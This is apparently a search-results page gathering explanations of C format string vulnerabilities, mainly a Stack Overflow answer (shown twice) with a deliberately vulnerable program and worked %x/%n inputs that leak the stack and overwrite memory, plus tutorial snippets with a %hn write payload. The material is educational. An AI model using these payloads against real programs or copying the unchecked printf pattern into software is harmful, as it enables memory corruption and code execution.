You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

Answer from Michael F on Stack Overflow
🌐
OWASP Foundation
owasp.org › www-community › attacks › Format_string_attack
Format string attack | OWASP Foundation
The Format String is the argument of the Format Function and is an ASCII Z string which contains text and format parameters, like: printf (“The magic number is: %d\n”, 1911); •The Format String Parameter, like %x %s defines the type ...
🌐
CTF Handbook
ctf101.org › binary-exploitation › what-is-a-format-string-vulnerability
Format String Vulnerability - CTF Handbook
For example, if we can make the format argument "%x.%x.%x.%x", printf will pop off four stack values and print them in hexadecimal, potentially leaking sensitive information. printf can also index to an arbitrary "argument" with the following syntax: "%n$x" (where n is the decimal index of the argument you want). While these bugs are powerful, they're very rare nowadays, as all modern compilers warn when printf is called with a non-constant string.
Discussions

c - How can a Format-String vulnerability be exploited? - Stack Overflow
The first version interprets buffer ... any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. I got the problem with printf(buffer) version, but I still didn't get how this vulnerability can be used by attacker to execute ... More on stackoverflow.com
🌐 stackoverflow.com
c - format string vulnerability - printf - Stack Overflow
Note that I'm completely making ... a format string vulnerability has to be custom crafted for a particular exact scenario. In other words, you won't always use 5 dummy format specifiers like in this example - as the attacker you'd need to figure out how many dummies the particular vulnerability would need. Now to call printf(), the argument ... More on stackoverflow.com
🌐 stackoverflow.com
Format string exploitation on 64 bit. How about the null bytes?
What is the function taking the input ? It depends on what are the stop chars for that function. Also what is your aim in exploit ? To overwrite some address with %n or something else ? Like depending on target partial overwrite or something can be tried. I also have an article on format strings on 64 bit. https://www.ret2rop.com/2018/10/format-strings-got-overwrite-remote.html More on reddit.com
🌐 r/LiveOverflow
2
6
April 27, 2020
C - format specifiers - what's the problem here?
Doesn't it explain why in the comment? If the string user_name contains %s it will try to grab one next parameter, treat it as a string address and try reading until it finds a 0 in memory. This can crash the program, it may not always, but it's easily avoidable. More on reddit.com
🌐 r/learnprogramming
2
2
November 19, 2022
🌐
Wallarm
wallarm.com › what › format-string-vulnerability
✋Format String Vulnerability - Types, Examples, Prevention
June 26, 2025 - Most commonly, the wrong usage of %d and %s in print() string brings success. The most common printf function family members that can be affected by this threat are fprintf, vsprintf, vsnprintf, sprint, and vfprintf.
🌐
Medium
medium.com › @danielorihuelarodriguez › format-string-vulnerability-439acbe81ddf
Format string vulnerability. What’s a format string vulnerability? | by DanielOrihuela | Medium
November 5, 2024 - One of them is printf (e.g. printf("I am %i years old", 999);). An attacker can exploit them to read and write to arbitrary memory locations, execute arbitrary code or make the program crash.
🌐
Exploit-DB
exploit-db.com › docs › english › 28476-linux-format-string-exploitation.pdf pdf
Format String Exploitation-Tutorial By Saif El-Sherei www.elsherei.com
string which will write WORD instead of BYTE let’s try it so this will enable us write an address in just · two writes. (Note that the increments of 2 in the address will be used.); r $(printf "\x84\x95\x04\x08JUNK\x86\x95\x04\x08")%x%x%x%x%x%x%x%x%8x%hn
🌐
Hacking Lab
hackinglab.cz › en › blog › format-string-vulnerability
Format String Vulnerability - Hacking Lab
October 21, 2024 - It is therefore advisable to insert it using the printf command: ... If the attacker fails to hit the exact boundary of the format string using 4-byte jumps, he must align the format string using one to three redundant characters – since it ...
🌐
Beagle Security
beaglesecurity.com › blog › vulnerability › format-string-vulnerability.html
Format String Vulnerability
October 20, 2023 - A format string vulnerability is a type of software bug in which user input is utilized as the format argument for functions like printf, scanf, or others within the same family. These format arguments contain various specifiers that dictate ...
Find elsewhere
Top answer
1 of 6
98

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

2 of 6
21

It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.

🌐
Comparitech
comparitech.com › home › blog › information security › format string attacks
What are format string attacks? (+ how to prevent them)
September 28, 2023 - In September 1999, security researcher Tymm Twillman discovered that format string vulnerabilities could be exploited as an attack vector. He was performing a security audit of the open-source FTP server ProFTPD, written in the C programming language. What he found was a printf() function that passed user-generated data to the web server/application without a proper format string.
🌐
Medium
medium.com › @jhjaksimsam2 › what-is-format-string-attack-how-to-prevent-this-attack-59b480ce9989
What is Format String attack? How to prevent this attack. | by JDK | Medium
June 21, 2019 - Format String Attack generates an error when a developer accidentally write a printf() code without a variable, And hacker can use this error to steal the root.
🌐
Medium
infosecwriteups.com › exploiting-format-string-vulnerability-97e3d588da1b
EXPLOITING FORMAT STRING VULNERABILITY | by AidenPearce369 | InfoSec Write-ups
January 18, 2024 - If printf("%s %p %p",data), here ... stack · When the format string does not have a corresponding variable to call the data, it will start popping random values from stack irrespective of their location/address · Lets consider ...
🌐
Medium
nikhilh20.medium.com › format-string-exploit-ccefad8fd66b
Format String Exploit. One of the most commonly used functions… | by ka1d0 | Medium
February 12, 2019 - If the programmer doesn't specify the variables, printf() will still try to read a value, return address + 8 bytes. It ends up reading data off the stack. I came across a format string vulnerability based problem in picoCTF 2018.
🌐
Wikipedia
en.wikipedia.org › wiki › Uncontrolled_format_string
Uncontrolled format string - Wikipedia
December 21, 2025 - In particular, the varargs mechanism ... (e.g. printf) by "popping" as many arguments off the call stack as they wish, trusting the early arguments to indicate how many additional arguments are to be popped, and of what types. Format string bugs can occur in other programming languages besides C, such as Perl, although they appear with less frequency and usually cannot be exploited to execute code of the attacker's ...
🌐
Fengweiz
fengweiz.github.io › 20fa-cs315 › labs › lab3-slides-format-string.pdf pdf
Format-String Vulnerability Instructor: Fengwei Zhang 1 SUSTech
Attack 1 : Crash Program · ●User input: %s%s%s%s%s%s%s%s · ●printf() parses the format string. ●For each %s, it fetches a value where va_list points to · and advances va_list to the next position. ●As we give %s, printf() treats the value as address and ·
🌐
Codearcana
codearcana.com › posts › 2013 › 05 › 02 › introduction-to-format-string-exploits.html
Introduction to format string exploits
May 2, 2013 - Since printf has a variable number of arguments, it must use the format string to determine the number of arguments. In the case above, the attacker can pass the string "%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p" and fool the printf into thinking it has 15 arguments.
Top answer
1 of 5
24

I think that the paper provides its printf() examples in a somewhat confusing way because the examples use string literals for format strings, and those don't generally permit the type of vulnerability being described. The format string vulnerability as described here depends on the format string being provided by user input.

So the example:

printf ("\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|");

Might better be presented as:

/* 
 * in a real program, some user input source would be copied 
 * into the `outstring` buffer 
 */
char outstring[80] = "\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|";

printf(outstring);

Since the outstring array is an automatic, the compiler will likely put it on the stack. After copying the user input to the outstring array, it'll look like the following as 'words' on the stack (assuming little endian):

outstring[0c]               // etc...
outstring[08] 0x30252e78    // from "x.%0"
outstring[04] 0x3830255f    // from "_%08"
outstring[00] 0x08480110    // from the ""\x10\x01\x48\x08"

The compiler will put other items on the stack as it sees fit (other local variables, saved registers, whatever).

When the printf() call is about to be made, the stack might look like:

outstring[0c]               // etc...
outstring[08] 0x30252e78    // from "x.%0"
outstring[04] 0x3830255f    // from "_%08"
outstring[00] 0x08480110    // from the ""\x10\x01\x48\x08"
var1
var2
saved ECX
saved EDI

Note that I'm completely making those entries up - each compiler will use the stack in different ways (so a format string vulnerability has to be custom crafted for a particular exact scenario. In other words, you won't always use 5 dummy format specifiers like in this example - as the attacker you'd need to figure out how many dummies the particular vulnerability would need.

Now to call printf(), the argument (the address of outstring) is pushed on to the stack and printf() is called, so the argument area of the stack looks like:

outstring[0c]               // etc...
outstring[08] 0x30252e78    // from "x.%0"
outstring[04] 0x3830255f    // from "_%08"
outstring[00] 0x08480110    // from the ""\x10\x01\x48\x08"
var1
var2
var3
saved ECX
saved EDI
&outstring   // the one real argument to `printf()`

However, printf doesn't really know anything about how many arguments have been placed on the stack for it - it goes by the format specifiers it finds in the format string (the one argument it's 'sure' to get). So printf() gets the format string argument and starts processing it. When it gets to the 1st "%08x" that will correspond to the 'saved EDI' in my example, then next "%08x" will print the saved ECX' and so on. So the "%08x" format specifiers are just eating up data on the stack until it gets back to the string the attacker was able to input. Determining how many of those are needed is something an attacker would do by a kind of trial and error (probably by a test run that has a whole slew of "%08x" formats until he can 'see' where the format string starts).

Anyway, when printf() gets to processing the "%s" format specifier, it has consumed all the stack entries up to where the outstring buffer resides. The "%s" specifier treats its stack entry as a pointer, and the string that the user has put into that buffer has been carefully crafted to have a binary representation of 0x08480110, so printf() will print out whatever is at that address as an ASCIIZ string.

2 of 5
9

You have 6 format specifiers (5 lots of %08x and one of %s), but you do not provide values for those format specifiers. You immediately fall into the realm of undefined behaviour - anything could happen and there is no wrong answer.

However, in the normal course of events, the values passed to printf() would have been stored on the stack, so the code in printf() reads values off the stack as if the extra values had been passed. The function return address is on the stack, too. There is no guarantee that I can see that the value 0x08480110 will actually be produced. This sort of attack very much depends on the the specific program and faulty function call, and you might well get a very different value. The example code is most likely written assuming a 32-bit Intel (little-endian) CPU - rather than a 64-bit or big-endian CPU.


Adapting the code fragment, compiling it into a complete program, ignoring the compilation warnings, using a 32-bit compilation on MacOS X 10.6.7 with GCC 4.2.1 (XCode 3), the following code:

#include <stdio.h>

static void somefunc(void)
{
    printf("AAAAAAAAAAAAAAAA.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.|%s|\n");
}

int main(void)
{
    char buffer[160] =
        "abcdefghijklmnopqrstuvwxyz012345"
        "abcdefghijklmnopqrstuvwxyz012345"
        "abcdefghijklmnopqrstuvwxyz012345"
        "abcdefghijklmnopqrstuvwxyz012345"
        "abcdefghijklmnopqrstuvwxyz01234";
    somefunc();
    return 0;
}

produces the following result:

 AAAAAAAAAAAAAAAA.0x000000A0.0xBFFFF11C.0x00001EC4.0x00000000.0x00001E22.0xBFFFF1C8.0x00001E5A.|abcdefghijklmnopqrstuvwxyz012345abcdefghijklmnopqrstuvwxyz012345abcdefghijklmnopqrstuvwxyz012345abcdefghijklmnopqrstuvwxyz012345abcdefghijklmnopqrstuvwxyz01234|

As you can see, I eventually 'found' the string in the main program from the printf() statement. When I compiled it in 64-bit mode, I got a core dump instead. Both results are perfectly correct; the program invokes undefined behaviour, so anything the program does is valid. If you're curious, search for 'nasal demons' for more information on undefined behaviour.

And get used to experimenting with these sorts of issues.


Another variation

#include <stdio.h>

static void somefunc(void)
{
    char format[] =
        "AAAAAAAAAAAAAAAA.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X\n"
        ".0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X\n"
        ".0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X.0x%08X\n";
    printf(format, 1);
}

int main(void)
{
    char buffer[160] =
        "abcdefghijklmnopqrstuvwxyz012345"
        "abcdefghijklmnopqrstuvwxyz012345"
        "abcdefghijklmnopqrstuvwxyz012345"
        "abcdefghijklmnopqrstuvwxyz012345"
        "abcdefghijklmnopqrstuvwxyz01234";
    somefunc();
    return 0;
}

This produces:

AAAAAAAAAAAAAAAA.0x00000001.0x00000099.0x8FE467B4.0x41000024.0x41414141
.0x41414141.0x41414141.0x2E414141.0x30257830.0x302E5838.0x38302578.0x78302E58
.0x58383025.0x2578302E.0x2E583830.0x30257830.0x2E0A5838.0x30257830.0x302E5838

You might recognize the format string in the hex output - 0x41 is capital A, for example.

The 64-bit output from that code is both similar and different:

AAAAAAAAAAAAAAAA.0x00000001.0x00000000.0x00000000.0xFFE0082C.0x00000000
.0x41414141.0x41414141.0x2578302E.0x30257830.0x38302578.0x58383025.0x0A583830
.0x2E583830.0x302E5838.0x78302E58.0x2578302E.0x30257830.0x38302578.0x38302578
🌐
BreakInSecurity
axcheron.github.io › exploit-101-format-strings
Exploit 101 - Format Strings - BreakInSecurity
April 22, 2018 - printf("Color %s, number1 %d, number2 d, hex %#x, float %5.2f, unsigned value %u.\n", "red", 123456, 89, 255, 3.14159, 250); // It will print the following line Color red, number1 123456, number2 00089, hex 0xff, float 3.14, unsigned value 250. As you can see, if format includes a format specifiers (beginning with %), the additional arguments following format are formatted and inserted in the resulting string by replacing them with their respective specifiers.
🌐
Medium
medium.com › swlh › binary-exploitation-format-string-vulnerabilities-70edd501c5be
Binary Exploitation: Format String Vulnerabilities | by Vickie Li | The Startup | Medium
September 10, 2020 - So printf() prints out the string located at 0xdeadbeef, which is the address specified by the first four bytes of our format string. In printf(), %n is a special case format specifier. Instead of being replaced by a function argument, %n will cause the number of characters written so far to be stored into the corresponding function argument. For example, the following code will store the integer 5 into the variable num_char. ... With dummy output characters and width-controlling format specifiers, the attacker can now write arbitrary integers to the location pointed to by the function argument.
🌐
Vickieli
vickieli.dev › binary exploitation › format-string-vulnerabilities
Format String Vulnerabilities - Vickie Li’s Security Blog
August 9, 2020 - So printf() prints out the string located at 0xdeadbeef, which is the address specified by the first four bytes of our format string. In printf(), %n is a special case format specifier. Instead of being replaced by a function argument, %n will cause the number of characters written so far to be stored into the corresponding function argument. For example, the following code will store the integer 5 into the variable num_char. ... With dummy output characters and width-controlling format specifiers, the attacker can now write arbitrary integers to the location pointed to by the function argument.